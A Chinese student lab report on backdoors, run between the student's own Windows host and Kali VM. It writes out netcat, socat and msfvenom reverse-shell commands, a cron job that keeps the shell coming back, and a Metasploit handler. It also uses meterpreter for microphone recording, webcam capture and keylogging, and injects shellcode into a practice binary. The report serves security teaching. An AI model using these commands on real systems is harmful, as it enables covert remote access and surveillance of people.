目录
- 1 实验基础
- 常用后门工具
- 2.实验目标
- 3.实验环境
- 4.实验过程
- 5.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 6.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 7.基础问题回答
- 8.实验心得
1 实验基础
1.1 基础知识
1.1.1 后门的概念
后门就是不经过正常认证流程而访问系统的通道。后门可能出现在编译器中、操作系统中,最常见的是应用程序中的后门,还可能是潜伏于操作系统中或伪装成特定应用的专用后门程序。
常用后门工具
- NC和Netcat
底层工具,进行基本的TCP、UDP数据收发,常常被与其他工具结合使用,起到后门的作用。
在Linux系统中一般自带netcat,使用man nc命令可以查看使用帮助
在Windows系统中,需要下载ncat.rar,解压后可使用
- SoCat
相当于Netcat++,一个超级Netcat工具。
在Windows下可以下载socat.rar,使用README作为参考。
任何代理、转发等功能都可以用该工具实现。
- Meterpreter
一个用来生成后门程序的程序。
它包含着后门的
- 基本功能(基本的连接、执行指令)
- 扩展功能(如搜集用户信息、安装服务等功能)
- 编码模式
- 运行平台
- 运行参数
- 它把后门的内容全部做成零件或可调整的参数,按需组合使用形成需要的可执行文件。
常见的Meterpreter程序有
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
本次实验我们使用msfvenom指令生成后门可执行文件Meterpreter.
2.实验目标
- 使用netcat获取主机操作Shell,cron启动
- 使用socat获取主机操作Shell,任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或- - socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
3.实验环境
环境
- 主机:Windows 10;
- 靶机:Kali Linux Debian 10;
在主机上用ipconfig
查看Windows10主机IP
主机IP为172.16.214.161
在Kali虚拟机中用sudo ifconfig
查看Kali虚拟机IP
Kali虚拟机IP为192.168.48.129
4.实验过程
4.1使用netcat获取主机操作Shell,cron启动
首先在云班课的实验任务中找到附件下载链接: https://gitee.com/wildlinux/NetSec/attach_files
关闭防火墙和杀毒软件,下载并解压ncat.rar
在cmp中进入ncat.exe所在文件夹
4.1.1在主机中使用ncat -l -p 1226(个人学号后四位)监听本机的1226端口**
4.1.2在主机中获取虚拟机shell
在虚拟机中使用nc 172.16.214.161(主机IP) 1226 -e /bin/sh
连主机反弹shell
成功getshell
4.1.3在虚拟机中获取主机shell
在虚拟机中用nc -l -p 1226
监听主机1226端口
在主机中用ncat -e cmd 192.168.56.103 4311成功获取到主机shell
4.1.4在虚拟机中cron启动并在主机监听
先在虚拟机上用crontab -e
指令编辑一条定时任务(crontab指令增加一条定时任务,-e表示编辑,输入2表示选择vim编辑器)
在最后一行添加55 * * * * /bin/netcat 172.16.214.161 1226 -e /bin/sh
,即在每个小时的第55分钟反向连接Windows主机的1226端口
等到每小时的55,在ip地址为172.16.214.161 的主机端用ncat -l -p 1226
打开监听即可
在主机成功获取虚拟机的shell
4.2使用socat获取主机操作Shell,任务计划启动
在Windows获得Linux Shell
在Kali中用man socat
查看使用说明
在Windows中按Win+R,再输入compmgmt.msc
打开计算机管理
在系统工具中的任务计划程序中创建任务
设置任务名称
新建触发器
下一步是新建操作,但在新建操作前,我们需要在Windows上下载socat.rar,并解压后使用,使用参考README
新建操作,操作设置为启动程序socat.exe,并添加参数tcp-listen:1226 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口1226,同时把cmd.exe的stderr重定向
在Kali中输入命令socat - tcp:172.16.214.161:1226
成功获取Windows的Shell
4.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali上生成后门可执行程序20201226_backdoor.exe
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.48.129 LPORT=1226 -f exe > 20201226_backdoor.exe
,其中
LHOST
为反弹回连的IP,在这里是要反弹给Kali,也就是Kali的IPLPORT
是回连的端口-p
使用的payload。payload
翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp``就是一段shellcode。-f
生成文件的类型>
输出到哪个文件
在Windows上打开监听ncat.exe -lv 1226 >20201226_backdoor.exe
在Kali上用nc 172.48.214.161 1226 < 20201226_backdoor.exe
将生成的20201226_backdoor.exe后门程序传过去
注意:此时不要点击此exe文件
在kali上使用msfconsole指令进入msf控制台
对msf控制台进行配置
依次输入以下命令
use exploit/multi/handler #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.48.129 #KaliIP,和生成后门程序时指定的IP相同
set LPORT 1226
输入show options
查看配置完后的情况
接着输入exploit
进行监听,在Windows在打开20201226_backdoor.exe后成功获取到Windows的shell(注意最好把所有杀毒软件退出,否则打开后门程序时很容易出现拒绝访问的情况)
5.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
5.1获取目标主机音频
在之前进入的MSF exploit中输入record_mic
指令进行录音(-d可设置时长,设置时长过长会报错,过短会捕捉不到声音,最好的长度是15秒,如图)
获得主机音频的音频文件
5.2获取目标主机摄像头
输入webcam_snap
指令控制摄像头进行拍照
run webcam
可以进行屏幕录制,相当于不间断地用摄像头拍照片(大概一秒一张),并不断存储在一个jpg中,在文件系统中我们会看到一个在不断变化的jpg文件
5.3击键记录
输入keyscan_start
开始捕获键盘记录,keyscan_dump
获取击键记录(-d可设置时长)
5.4截取主机屏幕
使用screenshot
指令可以进行截屏
6.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
6.1参考网上资料
https://www.cnblogs.com/marryj/p/17212409.html
6.2使用msfvenom --list payload查看各个主机版本适用的payload
6.3选定payload,确定所需要参数
指令如下:
msfvenom -p linux/x86/shell_reverse_tcp --list-options
选好了payload,接下来我们-f选payload的输出格式,可通过如下指令查看其有那些格式
msfvenom -f --list
linux/x86/shell/reverse_tcp
6.4生成shellcode
最终生成shellcode的指令为
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.104 LPORT=4311 -f c
-p linux/x86/shell_reverse_tcp
表示使用的payload为linux/x86/shell_reverse_tcp
,其中需要的参数分别为: LHOST=192.168.48.129 LPORT=1226
-f c表示采取c编码格式
6.5input_shellcode文件
按照实验一方法生成input_shellcode文件(实验一目录4注入shellcode并执行 https://www.cnblogs.com/marryj/p/17212409.html#6)
6.6再开一个终端,配置msfconsole
命令如下:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf6 exploit(multi/handler) > set LPORT 1226
LPORT => 1226
msf6 exploit(multi/handler) > set LHOST 192.168.48.129
LHOST => 192.168.48.129
6.7打开exploit监听
6.8在之前的终端输入(cat input_shellcode;cat) | ./pwn1226
6.9成功!
7.基础问题回答
7.1例举你能想到的一个后门进入到你系统中的可能方式?
在网上下载盗版的软件,捡个未知来源的U盘直接插电脑上
7.2例举你知道的后门如何启动起来(win及linux)的方式?
- Windows:Win:设置开机自启动项、点击exe文件
- Linux:通过crontab-e设置定时监听;或者利用缓冲区地址覆盖注入shellcode
7.3Meterpreter有哪些给你印象深刻的功能?
对Meterpreter启动隐藏、难以被查杀、生成后门快捷方便等特点印象比较深刻。而且生成的后门不仅能直接获取主机的shell权限,还可以进行多方面的监听监视、获取口令密码等。
7.4如何发现自己有系统有没有被安装后门?
- 安装杀毒软件,定期对系统和对恶意代码进行检测,并及时更新杀毒软件的特征库
- 打开防火墙,查看是否有异常端口
8.实验心得
-
有了实验一的铺垫,原以为实验二不会在像实验一一样艰难的,结果。。。问题百出,而且都是很多莫名其妙的问题,通常就是我多试了几遍,试着试着就好了,就真的很抽象。
-
问题一:进入root中,使用crontap-e,不能进去vim进行编辑,我上网查找了很多方法,比如重启服务、怀疑是无法读取环境变量的原因等,在查找的过程中也知道了在Ubuntu上面的服务名称是cron不是crond,但都没啥用。结果我退出root之后,就能正常使用了(很神奇),总之这里花了很长时间。
-
问题二:在计算机管理创建任务并配置之后,使用sorcat获取主机shell权限的时候,出现了无法链接的问题。首先排除网络问题,是能ping通的;其次发现可能是创建和配置任务时出现的问题,因为是第一次使用,很多功能并不了解,在重新查找资料询问同学之后,也并没有发现什么问题,后面我重新改了个任务名字sortcat就连接成功了。莫名其妙就解决了第二个问题。
-
问题三:换网之后没有重新查看主机IP导致实验步骤无法进行下去。
-
本次实验,特别对使用Meterpreter生成对应后门,并获取主机shell权限、能实现监听、监视、获取口令密码等非常感兴趣。同时也突然意识到随着网络的不断发现,现如今大家的信息其实都已经暴露,可能已经不存在所谓的隐私了。例如大数据的监听,是不是就利用的后门,但这些我们也好像无法去避免,因为很多应用程序都已经成为了生活必需品,而且很多后门其实具有免杀属性。。只能尽其所能去使用杀毒软件之类去预防并,提高警惕意识,对于来历不明盗版软件和文件不去下载,对于恶意链接和程序不去点击,总之自求多福吧。